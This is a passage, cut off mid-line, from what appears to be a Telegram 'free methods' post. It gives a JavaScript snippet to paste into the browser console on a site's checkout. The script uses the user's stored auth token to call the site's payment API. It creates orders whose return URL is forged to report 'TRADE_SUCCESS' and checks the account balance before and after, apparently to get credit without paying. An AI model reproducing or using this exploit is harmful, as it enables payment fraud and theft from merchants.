Open DevTools (F12) → Console on the site's checkout and paste:
// Click to expand
// ╔════════════════════════════════╗
// ║
@VIP_Free_Methods | t.me/VIP_Free_Methods ║
// ╚════════════════════════════════╝
const AMOUNT = 60;
const _CH = '@VIP_Free_Methods | t.me/VIP_Free_Methods';
(async () => {
console.log('%c' + _CH, 'color:#ff6688;font-weight:bold;font-size:13px');
const HOST = location.origin, API = HOST + '/api/v1';
const TOK = localStorage.getItem('auth_token');
if (!TOK) { console.log('未登录:localStorage.auth_token 为空'); return; }
const H = { Authorization: 'Bearer ' + TOK, 'Content-Type': 'application/json', Accept: 'application/json' };
const GET = async u => (await fetch(API + u, { headers: H })).json();
const POST = async (u, b) => (await fetch(API + u, { method: 'POST', headers: H, body: JSON.stringify(b) })).json();
const num = v => (isNaN(Number(v)) ? 0 : Number(v));
const pub = await GET('/settings/public');
const pd = (pub && pub.data) || {};
console.log('版本:', pd.version, '| 站点:', pd.site_name);
const cfg = ((await GET('/payment/config')) || {}).data || {};
if (!cfg.enabled) { console.log('支付未开启'); return; }
const me0 = ((await GET('/auth/me')) || {}).data || {};
const before = num(me0.balance);
console.log('投递前余额:', before);
let amt = AMOUNT, order = null;
const types = [...new Set(['alipay', 'wxpay'].concat(cfg.enabled_payment_types || []))];
for (const t of types) {
for (let i = 0; i < 2; i++) {
const r = await POST('/payment/orders', { amount: amt, payment_type: t, return_url: HOST + '/payment/result?trade_status=TRADE_SUCCESS' });
const d = r && r.data;
if (d && d.pay_url) { order = d; break; }
const need = String((r && r.message) || '').match(/at least (\d+)/);
if (!need) break;
amt = Number(need[1]);
}
if (order) break;
}
if (!order) { console.log('建单失败:无可用支付方式'); return; }
if (order.pay_url.indexOf('/submit.php?') < 0) {
console.log('%c❌ 非 popup 模式(mapi),链不成立\n📣 ' + _CH, 'color:#ff4444;font-family:monospace');
return;
}
const q = new UR…
Read in full →